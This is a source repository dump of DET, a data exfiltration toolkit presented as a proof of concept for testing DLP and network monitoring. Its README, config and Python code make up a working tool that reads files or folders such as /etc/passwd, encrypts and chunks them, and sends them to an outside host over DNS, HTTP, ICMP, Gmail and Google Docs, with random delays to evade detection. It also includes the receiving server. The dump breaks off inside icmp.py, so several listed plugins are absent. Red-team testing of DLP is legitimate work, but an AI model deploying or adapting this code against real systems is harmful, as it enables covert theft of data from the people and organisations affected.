├── .gitignore ├── LICENSE ├── README.md ├── config-sample.json ├── det.py ├── plugins ├── dns.py ├── gmail.py ├── google_docs.py ├── http.py ├── icmp.py ├── slack.py ├── tcp.py ├── twitter.py └── udp.py └── requirements.txt /.gitignore: -------------------------------------------------------------------------------- 1 | *.pyc 2 | *.pem -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2016 SensePost 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | 23 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | DET (extensible) Data Exfiltration Toolkit 2 | ======= 3 | 4 | DET (is provided AS IS), is a proof of concept to perform Data Exfiltration using either single or multiple channel(s) at the same time. 5 | 6 | **This is a Proof of Concept aimed at identifying possible DLP failures. This should never be used to exfiltrate sensitive/live data (say on an assessment)** 7 | 8 | The idea was to create a generic toolkit to plug any kind of protocol/service to test implmented Network Monitoring and Data Leakage Prevention (DLP) solutions configuration, against different data exfiltration techniques. 9 | 10 | The primary repository has now moved to [here](https://github.com/PaulSec/DET). 11 | 12 | # Slides 13 | 14 | DET has been presented at [BSides Ljubljana](https://bsidesljubljana.si/) on the 9th of March 2016 and the slides will be available here. 15 | Slides are available [here](https://docs.google.com/presentation/d/11uk6d-xougn3jU1wu4XRM3ZGzitobScSSMUlx0MRTzg). 16 | 17 | # Example usage (ICMP plugin) 18 | 19 | ## Server-side: 20 | 21 | [![asciicast](https://asciinema.org/a/18rjfp59rc7w27q7vlzlr96qv.png)](https://asciinema.org/a/18rjfp59rc7w27q7vlzlr96qv) 22 | 23 | ## Client-side: 24 | 25 | [![asciicast](https://asciinema.org/a/9m7ovlh7e4oyztx8e3fxyqsbl.png)](https://asciinema.org/a/9m7ovlh7e4oyztx8e3fxyqsbl) 26 | 27 | 28 | # Usage while combining two channels (Gmail/Twitter) 29 | 30 | ## Server-side: 31 | 32 | [![asciicast](https://asciinema.org/a/9lfpo9m47y5sglvdd1kyb1lwj.png)](https://asciinema.org/a/9lfpo9m47y5sglvdd1kyb1lwj) 33 | 34 | ## Client-side: 35 | 36 | [![asciicast](https://asciinema.org/a/bfstssgptxd41ncces4981cn6.png)](https://asciinema.org/a/bfstssgptxd41ncces4981cn6) 37 | 38 | 39 | # Installation 40 | 41 | Clone the repo: 42 | 43 | ```bash 44 | git clone https://github.com/sensepost/DET.git 45 | ``` 46 | 47 | Then: 48 | 49 | ```bash 50 | pip install -r requirements.txt --user 51 | ``` 52 | 53 | # Configuration 54 | 55 | In order to use DET, you will need to configure it and add your proper settings (eg. SMTP/IMAP, AES256 encryption 56 | passphrase and so on). A configuration example file has been provided and is called: ```config-sample.json``` 57 | 58 | ```json 59 | { 60 | "plugins": { 61 | "http": { 62 | "target": "192.168.1.101", 63 | "port": 8080 64 | }, 65 | "google_docs": { 66 | "target": "192.168.1.101", 67 | "port": 8080, 68 | }, 69 | "dns": { 70 | "key": "google.com", 71 | "target": "192.168.1.101", 72 | "port": 53 73 | }, 74 | "gmail": { 75 | "username": "dataexfil@gmail.com", 76 | "password": "ReallyStrongPassword", 77 | "server": "smtp.gmail.com", 78 | "port": 587 79 | }, 80 | "tcp": { 81 | "target": "192.168.1.101", 82 | "port": 6969 83 | }, 84 | "udp": { 85 | "target": "192.168.1.101", 86 | "port": 6969 87 | }, 88 | "twitter": { 89 | "username": "PaulWebSec", 90 | "CONSUMER_TOKEN": "XXXXXXXXX", 91 | "CONSUMER_SECRET": "XXXXXXXXX", 92 | "ACCESS_TOKEN": "XXXXXXXXX", 93 | "ACCESS_TOKEN_SECRET": "XXXXXXXXX" 94 | }, 95 | "icmp": { 96 | "target": "192.168.1.101" 97 | } 98 | }, 99 | "AES_KEY": "THISISACRAZYKEY", 100 | "sleep_time": 10 101 | } 102 | ``` 103 | 104 | # Usage 105 | 106 | ## Help usage 107 | 108 | ```bash 109 | python det.py -h 110 | usage: det.py [-h] [-c CONFIG] [-f FILE] [-d FOLDER] [-p PLUGIN] [-e EXCLUDE] 111 | [-L] 112 | 113 | Data Exfiltration Toolkit (SensePost) 114 | 115 | optional arguments: 116 | -h, --help show this help message and exit 117 | -c CONFIG Configuration file (eg. '-c ./config-sample.json') 118 | -f FILE File to exfiltrate (eg. '-f /etc/passwd') 119 | -d FOLDER Folder to exfiltrate (eg. '-d /etc/') 120 | -p PLUGIN Plugins to use (eg. '-p dns,twitter') 121 | -e EXCLUDE Plugins to exclude (eg. '-e gmail,icmp') 122 | -L Server mode 123 | ``` 124 | 125 | ## Server-side: 126 | 127 | To load every plugin: 128 | 129 | ```bash 130 | python det.py -L -c ./config.json 131 | ``` 132 | 133 | To load *only* twitter and gmail modules: 134 | 135 | ```bash 136 | python det.py -L -c ./config.json -p twitter,gmail 137 | ``` 138 | 139 | To load every plugin and exclude DNS: 140 | 141 | ```bash 142 | python det.py -L -c ./config.json -e dns 143 | ``` 144 | 145 | ## Client-side: 146 | 147 | To load every plugin: 148 | 149 | ```bash 150 | python det.py -c ./config.json -f /etc/passwd 151 | ``` 152 | 153 | To load *only* twitter and gmail modules: 154 | 155 | ```bash 156 | python det.py -c ./config.json -p twitter,gmail -f /etc/passwd 157 | ``` 158 | 159 | To load every plugin and exclude DNS: 160 | 161 | ```bash 162 | python det.py -c ./config.json -e dns -f /etc/passwd 163 | ``` 164 | And in PowerShell (HTTP module): 165 | 166 | ```powershell 167 | PS C:\Users\user01\Desktop> 168 | PS C:\Users\user01\Desktop> . .\http_exfil.ps1 169 | PS C:\Users\user01\Desktop> HTTP-exfil 'C:\path\to\file.exe' 170 | ``` 171 | 172 | # Modules 173 | 174 | So far, DET supports multiple protocols, listed here: 175 | 176 | - [X] HTTP(S) 177 | - [X] ICMP 178 | - [X] DNS 179 | - [X] SMTP/IMAP (eg. Gmail) 180 | - [X] Raw TCP 181 | - [X] PowerShell implementation (HTTP, DNS, ICMP, SMTP (used with Gmail)) 182 | 183 | And other "services": 184 | 185 | - [X] Google Docs (Unauthenticated) 186 | - [X] Twitter (Direct Messages) 187 | 188 | # Experimental modules 189 | 190 | So far, I am busy implementing new modules which are almost ready to ship, including: 191 | 192 | - [ ] Skype (95% done) 193 | - [ ] Tor (80% done) 194 | - [ ] Github (30/40% done) 195 | 196 | # Roadmap 197 | 198 | - [X] Add proper encryption (eg. AES-256) Thanks to [ryanohoro](https://github.com/ryanohoro) 199 | - [X] Compression (extremely important!) Thanks to [chokepoint](https://github.com/chokepoint) 200 | - [ ] Proper data obfuscation and integrating [Cloakify Toolset Toolset](https://github.com/trycatchhcf/cloakify) 201 | - [ ] FTP, FlickR [LSB Steganography](https://github.com/RobinDavid/LSB-Steganography) and Youtube modules 202 | 203 | # References 204 | 205 | Some pretty cool references/credits to people I got inspired by with their project: 206 | 207 | - [https://github.com/nullbind/Powershellery/](Powershellery) from Nullbind. 208 | - [https://github.com/ytisf/PyExfil](PyExfil), truely awesome. 209 | - [https://github.com/m57/dnsteal](dnsteal) from m57. 210 | - [https://github.com/3nc0d3r/NaishoDeNusumu](NaishoDeNusumu) from 3nc0d3r. 211 | - [https://github.com/glennzw/exphil](Exphil) from Glenn Wilkinson. 212 | - WebExfile from Saif El-Sherei 213 | 214 | # Contact/Contributing 215 | 216 | You can reach me on Twitter [@PaulWebSec](https://twitter.com/PaulWebSec). 217 | Feel free if you want to contribute, clone, fork, submit your PR and so on. 218 | 219 | # License 220 | 221 | DET is licensed under a [MIT License](https://opensource.org/licenses/MIT). 222 | Permissions beyond the scope of this license may be available at [info@sensepost.com](info@sensepost.com) 223 | -------------------------------------------------------------------------------- /config-sample.json: -------------------------------------------------------------------------------- 1 | { 2 | "plugins": { 3 | "http": { 4 | "target": "192.168.0.12", 5 | "port": 8080 6 | }, 7 | "google_docs": { 8 | "target": "SERVER", 9 | "port": 8080 10 | }, 11 | "dns": { 12 | "key": "google.com", 13 | "target": "192.168.0.12", 14 | "port": 53 15 | }, 16 | "gmail": { 17 | "username": "dataexfil@gmail.com", 18 | "password": "CrazyNicePassword", 19 | "server": "smtp.gmail.com", 20 | "port": 587 21 | }, 22 | "tcp": { 23 | "target": "192.168.0.12", 24 | "port": 6969 25 | }, 26 | "udp": { 27 | "target": "192.168.0.12", 28 | "port": 6969 29 | }, 30 | "twitter": { 31 | "username": "PaulWebSec", 32 | "CONSUMER_TOKEN": "XXXXXXXXXXX", 33 | "CONSUMER_SECRET": "XXXXXXXXXXX", 34 | "ACCESS_TOKEN": "XXXXXXXXXXX", 35 | "ACCESS_TOKEN_SECRET": "XXXXXXXXXXX" 36 | }, 37 | "icmp": { 38 | "target": "192.168.0.12" 39 | }, 40 | "slack": { 41 | "api_token": "xoxb-XXXXXXXXXXX", 42 | "chan_id": "XXXXXXXXXXX", 43 | "bot_id": "<@XXXXXXXXXXX>:" 44 | } 45 | }, 46 | "AES_KEY": "THISISACRAZYKEY", 47 | "max_time_sleep": 10, 48 | "min_time_sleep": 1, 49 | "max_bytes_read": 400, 50 | "min_bytes_read": 300, 51 | "compression": 1 52 | } 53 | -------------------------------------------------------------------------------- /det.py: -------------------------------------------------------------------------------- 1 | import os 2 | import random 3 | import threading 4 | import hashlib 5 | import argparse 6 | import sys 7 | import string 8 | import time 9 | import json 10 | import signal 11 | import struct 12 | import tempfile 13 | from random import randint 14 | from os import listdir 15 | from os.path import isfile, join 16 | from Crypto.Cipher import AES 17 | from zlib import compress, decompress 18 | 19 | KEY = "" 20 | MIN_TIME_SLEEP = 1 21 | MAX_TIME_SLEEP = 30 22 | MIN_BYTES_READ = 1 23 | MAX_BYTES_READ = 500 24 | COMPRESSION = True 25 | files = {} 26 | threads = [] 27 | config = None 28 | 29 | 30 | class bcolors: 31 | HEADER = '\033[95m' 32 | OKBLUE = '\033[94m' 33 | OKGREEN = '\033[92m' 34 | WARNING = '\033[93m' 35 | FAIL = '\033[91m' 36 | ENDC = '\033[0m' 37 | BOLD = '\033[1m' 38 | UNDERLINE = '\033[4m' 39 | 40 | 41 | def display_message(message): 42 | print "[%s] %s" % (time.strftime("%Y-%m-%d.%H:%M:%S", time.gmtime()), message) 43 | 44 | 45 | def warning(message): 46 | display_message("%s%s%s" % (bcolors.WARNING, message, bcolors.ENDC)) 47 | 48 | 49 | def ok(message): 50 | display_message("%s%s%s" % (bcolors.OKGREEN, message, bcolors.ENDC)) 51 | 52 | 53 | def info(message): 54 | display_message("%s%s%s" % (bcolors.OKBLUE, message, bcolors.ENDC)) 55 | 56 | 57 | # http://stackoverflow.com/questions/12524994/encrypt-decrypt-using-pycrypto-aes-256 58 | def aes_encrypt(message, key=KEY): 59 | try: 60 | # Generate random CBC IV 61 | iv = os.urandom(AES.block_size) 62 | 63 | # Derive AES key from passphrase 64 | aes = AES.new(hashlib.sha256(key).digest(), AES.MODE_CBC, iv) 65 | 66 | # Add PKCS5 padding 67 | pad = lambda s: s + (AES.block_size - len(s) % AES.block_size) * chr(AES.block_size - len(s) % AES.block_size) 68 | 69 | # Return data size, iv and encrypted message 70 | return iv + aes.encrypt(pad(message)) 71 | except: 72 | return None 73 | 74 | def aes_decrypt(message, key=KEY): 75 | try: 76 | # Retrieve CBC IV 77 | iv = message[:AES.block_size] 78 | message = message[AES.block_size:] 79 | 80 | # Derive AES key from passphrase 81 | aes = AES.new(hashlib.sha256(key).digest(), AES.MODE_CBC, iv) 82 | message = aes.decrypt(message) 83 | 84 | # Remove PKCS5 padding 85 | unpad = lambda s: s[:-ord(s[len(s) - 1:])] 86 | 87 | return unpad(message) 88 | except: 89 | return None 90 | 91 | # Do a md5sum of the file 92 | def md5(fname): 93 | hash = hashlib.md5() 94 | with open(fname) as f: 95 | for chunk in iter(lambda: f.read(4096), ""): 96 | hash.update(chunk) 97 | return hash.hexdigest() 98 | 99 | 100 | function_mapping = { 101 | 'display_message': display_message, 102 | 'warning': warning, 103 | 'ok': ok, 104 | 'info': info, 105 | 'aes_encrypt' : aes_encrypt, 106 | 'aes_decrypt': aes_decrypt 107 | } 108 | 109 | 110 | class Exfiltration(object): 111 | 112 | def __init__(self, results, KEY): 113 | self.KEY = KEY 114 | self.plugin_manager = None 115 | self.plugins = {} 116 | self.results = results 117 | self.target = "127.0.0.1" 118 | 119 | path = "plugins/" 120 | plugins = {} 121 | 122 | # Load plugins 123 | sys.path.insert(0, path) 124 | for f in os.listdir(path): 125 | fname, ext = os.path.splitext(f) 126 | if ext == '.py' and self.should_use_plugin(fname): 127 | mod = __import__(fname) 128 | plugins[fname] = mod.Plugin(self, config["plugins"][fname]) 129 | 130 | def should_use_plugin(self, plugin_name): 131 | # if the plugin has been specified specifically (-p twitter) 132 | if self.results.plugin and plugin_name not in self.results.plugin.split(','): 133 | return False 134 | # if the plugin is not in the exclude param 135 | elif self.results.exclude and plugin_name in self.results.exclude.split(','): 136 | return False 137 | else: 138 | return True 139 | 140 | def register_plugin(self, transport_method, functions): 141 | self.plugins[transport_method] = functions 142 | 143 | def get_plugins(self): 144 | return self.plugins 145 | 146 | def aes_encrypt(self, message): 147 | return aes_encrypt(message, self.KEY) 148 | 149 | def aes_decrypt(self, message): 150 | return aes_decrypt(message, self.KEY) 151 | 152 | def log_message(self, mode, message): 153 | if mode in function_mapping: 154 | function_mapping[mode](message) 155 | 156 | def get_random_plugin(self): 157 | plugin_name = random.sample(self.plugins, 1)[0] 158 | return plugin_name, self.plugins[plugin_name]['send'] 159 | 160 | def use_plugin(self, plugins): 161 | tmp = {} 162 | for plugin_name in plugins.split(','): 163 | if (plugin_name in self.plugins): 164 | tmp[plugin_name] = self.plugins[plugin_name] 165 | self.plugins.clear() 166 | self.plugins = tmp 167 | 168 | def remove_plugins(self, plugins): 169 | for plugin_name in plugins: 170 | if plugin_name in self.plugins: 171 | del self.plugins[plugin_name] 172 | display_message("{0} plugins will be used".format( 173 | len(self.get_plugins()))) 174 | 175 | def register_file(self, message): 176 | global files 177 | jobid = message[0] 178 | if jobid not in files: 179 | files[jobid] = {} 180 | files[jobid]['checksum'] = message[3].lower() 181 | files[jobid]['filename'] = message[1].lower() 182 | files[jobid]['data'] = [] 183 | files[jobid]['packets_number'] = [] 184 | warning("Register packet for file %s with checksum %s" % 185 | (files[jobid]['filename'], files[jobid]['checksum'])) 186 | 187 | def retrieve_file(self, jobid): 188 | global files 189 | fname = files[jobid]['filename'] 190 | filename = "%s.%s" % (fname.replace( 191 | os.path.pathsep, ''), time.strftime("%Y-%m-%d.%H:%M:%S", time.gmtime())) 192 | content = ''.join(str(v) for v in files[jobid]['data']).decode('hex') 193 | content = aes_decrypt(content, self.KEY) 194 | if COMPRESSION: 195 | content = decompress(content) 196 | f = open(filename, 'w') 197 | f.write(content) 198 | f.close() 199 | if (files[jobid]['checksum'] == md5(filename)): 200 | ok("File %s recovered" % (fname)) 201 | else: 202 | warning("File %s corrupt!" % (fname)) 203 | del files[jobid] 204 | 205 | def retrieve_data(self, data): 206 | global files 207 | try: 208 | message = data 209 | if (message.count("|!|") >= 2): 210 | info("Received {0} bytes".format(len(message))) 211 | message = message.split("|!|") 212 | jobid = message[0] 213 | 214 | # register packet 215 | if (message[2] == "REGISTER"): 216 | self.register_file(message) 217 | # done packet 218 | elif (message[2] == "DONE"): 219 | self.retrieve_file(jobid) 220 | # data packet 221 | else: 222 | # making sure there's a jobid for this file 223 | if (jobid in files and message[1] not in files[jobid]['packets_number']): 224 | files[jobid]['data'].append(''.join(message[2:])) 225 | files[jobid]['packets_number'].append(message[1]) 226 | except: 227 | raise 228 | pass 229 | 230 | 231 | class ExfiltrateFile(threading.Thread): 232 | 233 | def __init__(self, exfiltrate, file_to_send): 234 | threading.Thread.__init__(self) 235 | self.file_to_send = file_to_send 236 | self.exfiltrate = exfiltrate 237 | self.jobid = ''.join(random.sample( 238 | string.ascii_letters + string.digits, 7)) 239 | self.checksum = md5(file_to_send) 240 | self.daemon = True 241 | 242 | def run(self): 243 | # registering packet 244 | plugin_name, plugin_send_function = self.exfiltrate.get_random_plugin() 245 | ok("Using {0} as transport method".format(plugin_name)) 246 | 247 | warning("[!] Registering packet for the file") 248 | data = "%s|!|%s|!|REGISTER|!|%s" % ( 249 | self.jobid, os.path.basename(self.file_to_send), self.checksum) 250 | plugin_send_function(data) 251 | 252 | time_to_sleep = randint(1, MAX_TIME_SLEEP) 253 | info("Sleeping for %s seconds" % time_to_sleep) 254 | time.sleep(time_to_sleep) 255 | 256 | # sending the data 257 | f = tempfile.SpooledTemporaryFile() 258 | e = open(self.file_to_send, 'rb') 259 | data = e.read() 260 | if COMPRESSION: 261 | data = compress(data) 262 | f.write(aes_encrypt(data, self.exfiltrate.KEY)) 263 | f.seek(0) 264 | e.close() 265 | 266 | packet_index = 0 267 | while (True): 268 | data_file = f.read(randint(MIN_BYTES_READ, MAX_BYTES_READ)).encode('hex') 269 | if not data_file: 270 | break 271 | plugin_name, plugin_send_function = self.exfiltrate.get_random_plugin() 272 | ok("Using {0} as transport method".format(plugin_name)) 273 | # info("Sending %s bytes packet" % len(data_file)) 274 | 275 | data = "%s|!|%s|!|%s" % (self.jobid, packet_index, data_file) 276 | plugin_send_function(data) 277 | packet_index = packet_index + 1 278 | 279 | time_to_sleep = randint(1, MAX_TIME_SLEEP) 280 | display_message("Sleeping for %s seconds" % time_to_sleep) 281 | time.sleep(time_to_sleep) 282 | 283 | # last packet 284 | plugin_name, plugin_send_function = self.exfiltrate.get_random_plugin() 285 | ok("Using {0} as transport method".format(plugin_name)) 286 | data = "%s|!|%s|!|DONE" % (self.jobid, packet_index) 287 | plugin_send_function(data) 288 | f.close() 289 | sys.exit(0) 290 | 291 | 292 | def signal_handler(bla, frame): 293 | global threads 294 | warning('Killing DET and its subprocesses') 295 | os.kill(os.getpid(), signal.SIGKILL) 296 | 297 | 298 | def main(): 299 | global MAX_TIME_SLEEP, MIN_TIME_SLEEP, KEY, MAX_BYTES_READ, MIN_BYTES_READ, COMPRESSION 300 | global threads, config 301 | 302 | parser = argparse.ArgumentParser( 303 | description='Data Exfiltration Toolkit (SensePost)') 304 | parser.add_argument('-c', action="store", dest="config", default=None, 305 | help="Configuration file (eg. '-c ./config-sample.json')") 306 | parser.add_argument('-f', action="store", dest="file", 307 | help="File to exfiltrate (eg. '-f /etc/passwd')") 308 | parser.add_argument('-d', action="store", dest="folder", 309 | help="Folder to exfiltrate (eg. '-d /etc/')") 310 | parser.add_argument('-p', action="store", dest="plugin", 311 | default=None, help="Plugins to use (eg. '-p dns,twitter')") 312 | parser.add_argument('-e', action="store", dest="exclude", 313 | default=None, help="Plugins to exclude (eg. '-e gmail,icmp')") 314 | parser.add_argument('-L', action="store_true", 315 | dest="listen", default=False, help="Server mode") 316 | results = parser.parse_args() 317 | 318 | if (results.config is None): 319 | print "Specify a configuration file!" 320 | parser.print_help() 321 | sys.exit(-1) 322 | 323 | with open(results.config) as data_file: 324 | config = json.load(data_file) 325 | 326 | # catch Ctrl+C 327 | signal.signal(signal.SIGINT, signal_handler) 328 | ok("CTRL+C to kill DET") 329 | 330 | MIN_TIME_SLEEP = int(config['min_time_sleep']) 331 | MAX_TIME_SLEEP = int(config['max_time_sleep']) 332 | MIN_BYTES_READ = int(config['min_bytes_read']) 333 | MAX_BYTES_READ = int(config['max_bytes_read']) 334 | COMPRESSION = bool(config['compression']) 335 | KEY = config['AES_KEY'] 336 | app = Exfiltration(results, KEY) 337 | 338 | # LISTEN MODE 339 | if (results.listen): 340 | threads = [] 341 | plugins = app.get_plugins() 342 | for plugin in plugins: 343 | thread = threading.Thread(target=plugins[plugin]['listen']) 344 | thread.daemon = True 345 | thread.start() 346 | threads.append(thread) 347 | # EXFIL mode 348 | else: 349 | if (results.folder is None and results.file is None): 350 | warning("[!] Specify a file or a folder!") 351 | parser.print_help() 352 | sys.exit(-1) 353 | if (results.folder): 354 | files = ["{0}{1}".format(results.folder, f) for 355 | f in listdir(results.folder) 356 | if isfile(join(results.folder, f))] 357 | else: 358 | files = [results.file] 359 | 360 | threads = [] 361 | for file_to_send in files: 362 | info("Launching thread for file {0}".format(file_to_send)) 363 | thread = ExfiltrateFile(app, file_to_send) 364 | threads.append(thread) 365 | thread.daemon = True 366 | thread.start() 367 | 368 | # Join for the threads 369 | for thread in threads: 370 | while True: 371 | thread.join(1) 372 | if not thread.isAlive(): 373 | break 374 | 375 | if __name__ == '__main__': 376 | main() 377 | -------------------------------------------------------------------------------- /plugins/dns.py: -------------------------------------------------------------------------------- 1 | from dnslib import * 2 | try: 3 | from scapy.all import * 4 | except: 5 | print "You should install Scapy if you run the server.." 6 | 7 | app_exfiltrate = None 8 | config = None 9 | buf = {} 10 | 11 | 12 | def handle_dns_packet(x): 13 | global buf 14 | try: 15 | qname = x.payload.payload.payload.qd.qname 16 | if (config['key'] in qname): 17 | app_exfiltrate.log_message( 18 | 'info', '[dns] DNS Query: {0}'.format(qname)) 19 | data = qname.split(".")[0] 20 | jobid = data[0:7] 21 | data = data.replace(jobid, '') 22 | # app_exfiltrate.log_message('info', '[dns] jobid = {0}'.format(jobid)) 23 | # app_exfiltrate.log_message('info', '[dns] data = {0}'.format(data)) 24 | if jobid not in buf: 25 | buf[jobid] = [] 26 | if data not in buf[jobid]: 27 | buf[jobid].append(data) 28 | if (len(qname) < 68): 29 | app_exfiltrate.retrieve_data(''.join(buf[jobid]).decode('hex')) 30 | buf[jobid] = [] 31 | except Exception, e: 32 | # print e 33 | pass 34 | 35 | 36 | def send(data): 37 | target = config['target'] 38 | port = config['port'] 39 | jobid = data.split("|!|")[0] 40 | data = data.encode('hex') 41 | while data != "": 42 | tmp = data[:66 - len(config['key']) - len(jobid)] 43 | data = data.replace(tmp, '') 44 | domain = "{0}{1}.{2}".format(jobid, tmp, config['key']) 45 | app_exfiltrate.log_message( 46 | 'info', "[dns] Sending {0} to {1}".format(domain, target)) 47 | q = DNSRecord.question(domain) 48 | try: 49 | q.send(target, port, timeout=0.01) 50 | except: 51 | # app_exfiltrate.log_message('warning', "[dns] Failed to send DNS request") 52 | pass 53 | 54 | 55 | def listen(): 56 | app_exfiltrate.log_message( 57 | 'info', "[dns] Waiting for DNS packets for domain {0}".format(config['key'])) 58 | sniff(filter="udp and port {}".format( 59 | config['port']), prn=handle_dns_packet) 60 | 61 | 62 | class Plugin: 63 | 64 | def __init__(self, app, conf): 65 | global app_exfiltrate, config 66 | config = conf 67 | app.register_plugin('dns', {'send': send, 'listen': listen}) 68 | app_exfiltrate = app 69 | -------------------------------------------------------------------------------- /plugins/gmail.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import imaplib 3 | from smtplib import SMTP 4 | import email 5 | import time 6 | import sys 7 | from email.MIMEMultipart import MIMEMultipart 8 | from email.MIMEText import MIMEText 9 | 10 | app_exfiltrate = None 11 | gmail_user = '' 12 | gmail_pwd = '' 13 | server = '' 14 | server_port = 587 15 | 16 | 17 | def send(data): 18 | mail_server = SMTP() 19 | mail_server.connect(server, server_port) 20 | mail_server.starttls() 21 | mail_server.login(gmail_user, gmail_pwd) 22 | 23 | msg = MIMEMultipart() 24 | msg['From'] = gmail_user 25 | msg['To'] = gmail_user 26 | msg['Subject'] = "det:toolkit" 27 | msg.attach(MIMEText(base64.b64encode(data))) 28 | app_exfiltrate.log_message( 29 | 'info', "[gmail] Sending {} bytes in mail".format(len(data))) 30 | mail_server.sendmail(gmail_user, gmail_user, msg.as_string()) 31 | 32 | 33 | def listen(): 34 | app_exfiltrate.log_message('info', "[gmail] Listening for mails...") 35 | client_imap = imaplib.IMAP4_SSL(server) 36 | try: 37 | client_imap.login(gmail_user, gmail_pwd) 38 | except: 39 | app_exfiltrate.log_message( 40 | 'warning', "[gmail] Did not manage to authenticate with creds: {}:{}".format(gmail_user, gmail_pwd)) 41 | sys.exit(-1) 42 | 43 | while True: 44 | client_imap.select("INBOX") 45 | typ, id_list = client_imap.uid( 46 | 'search', None, "(UNSEEN SUBJECT 'det:toolkit')") 47 | for msg_id in id_list[0].split(): 48 | msg_data = client_imap.uid('fetch', msg_id, '(RFC822)') 49 | raw_email = msg_data[1][0][1] 50 | # continue inside the same for loop as above 51 | raw_email_string = raw_email.decode('utf-8') 52 | # converts byte literal to string removing b'' 53 | email_message = email.message_from_string(raw_email_string) 54 | # this will loop through all the available multiparts in mail 55 | for part in email_message.walk(): 56 | if part.get_content_type() == "text/plain": # ignore attachments/html 57 | body = part.get_payload(decode=True) 58 | data = body.split('\r\n')[0] 59 | # print data 60 | try: 61 | app_exfiltrate.retrieve_data(base64.b64decode(data)) 62 | except Exception, e: 63 | print e 64 | else: 65 | continue 66 | time.sleep(2) 67 | 68 | 69 | class Plugin: 70 | 71 | def __init__(self, app, options): 72 | global app_exfiltrate, gmail_pwd, gmail_user, server, server_port 73 | gmail_pwd = options['password'] 74 | gmail_user = options['username'] 75 | server = options['server'] 76 | server_port = options['port'] 77 | app.register_plugin('gmail', {'send': send, 'listen': listen}) 78 | app_exfiltrate = app 79 | -------------------------------------------------------------------------------- /plugins/google_docs.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import base64 3 | from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer 4 | import urllib 5 | 6 | config = None 7 | app_exfiltrate = None 8 | 9 | 10 | def send(data): 11 | target = "https://docs.google.com/viewer?url=http://{}:{}/{}".format(config['target'], config['port'], urllib.quote_plus(base64.b64encode(data))) 12 | app_exfiltrate.log_message( 13 | 'info', "[http] Sending {0} bytes to {1}".format(len(data), target)) 14 | requests.get(target) 15 | 16 | 17 | class Plugin: 18 | 19 | def __init__(self, app, conf): 20 | global app_exfiltrate, config 21 | config = conf 22 | app_exfiltrate = app 23 | app.register_plugin('google_docs', {'send': send}) 24 | -------------------------------------------------------------------------------- /plugins/http.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import base64 3 | from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer 4 | import urllib 5 | 6 | config = None 7 | app_exfiltrate = None 8 | 9 | 10 | class S(BaseHTTPRequestHandler): 11 | 12 | def _set_headers(self): 13 | self.send_response(200) 14 | self.send_header('Content-type', 'text/html') 15 | self.end_headers() 16 | 17 | def do_POST(self): 18 | self._set_headers() 19 | content_len = int(self.headers.getheader('content-length', 0)) 20 | post_body = self.rfile.read(content_len) 21 | tmp = post_body.split('=') 22 | if (tmp[0] == "data"): 23 | try: 24 | data = base64.b64decode(urllib.unquote(tmp[1])) 25 | app_exfiltrate.retrieve_data(data) 26 | except Exception, e: 27 | print e 28 | pass 29 | 30 | def do_GET(self): 31 | string = '/'.join(self.path.split('/')[1:]) 32 | self._set_headers() 33 | try: 34 | data = base64.b64decode(string) 35 | app_exfiltrate.retrieve_data(data) 36 | except Exception, e: 37 | pass 38 | 39 | 40 | def send(data): 41 | target = "http://{}:{}".format(config['target'], config['port']) 42 | app_exfiltrate.log_message( 43 | 'info', "[http] Sending {0} bytes to {1}".format(len(data), target)) 44 | data_to_send = {'data': base64.b64encode(data)} 45 | requests.post(target, data=data_to_send) 46 | 47 | 48 | def listen(): 49 | app_exfiltrate.log_message('info', "[http] Starting httpd...") 50 | try: 51 | server_address = ('', config['port']) 52 | httpd = HTTPServer(server_address, S) 53 | httpd.serve_forever() 54 | except: 55 | app_exfiltrate.log_message( 56 | 'warning', "[http] Couldn't bind http daemon on port {}".format(port)) 57 | 58 | 59 | class Plugin: 60 | 61 | def __init__(self, app, conf): 62 | global app_exfiltrate, config 63 | config = conf 64 | app_exfiltrate = app 65 | app.register_plugin('http', {'send': send, 'listen': listen}) 66 | -------------------------------------------------------------------------------- /plugins/icmp.py: -------------------------------------------------------------------------------- 1 | import logging 2 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR) 3 | from scapy import all as scapy 4 | import base64 5 | 6 | config = None 7 | app_exfiltrate = None 8 | 9 | 10 | def send(data): 11 | data = base64.b64encode(data) 12 | app_exfiltrate.log_message( 13 | 'info', "[icmp] Sending {} bytes with ICMP packet".format(len(data))) 14 | scapy.sendp(scapy.Ether() / 15 | scapy.IP(dst=config['target']) / scapy.ICMP() / data, verbose=0) 16 | 17 | 18 | def listen(): 19 | app_exfiltrate.log_message('info', "[icmp] Listening for ICMP packets..") 20 | # Filter for echo requests only to prevent capturing generated replies 21 | scapy.sniff(filter="icmp and icmp[0]=8", prn=analyze) 22 | 23 | 24 | def analyze(packet): 25 | src = packet.payload.src 26 | dst = packet.payload.dst 27 | try: 28 | app_exfiltrate.log_message( 29 | 'info', "[icmp] Received ICMP packet from: {0} to {1}".format(src, dst)) 30 | app_exfiltrate.retrieve_data(base64.b64decode(packet.load)) 31 | except: 32 | pass 33 | 34 | 35 | class Plugin: 36 | 37 | def __init__(self, app, conf): 38 | global app_exfiltrate, config 39 | app_exfiltrate = app 40 | config = conf 41 | 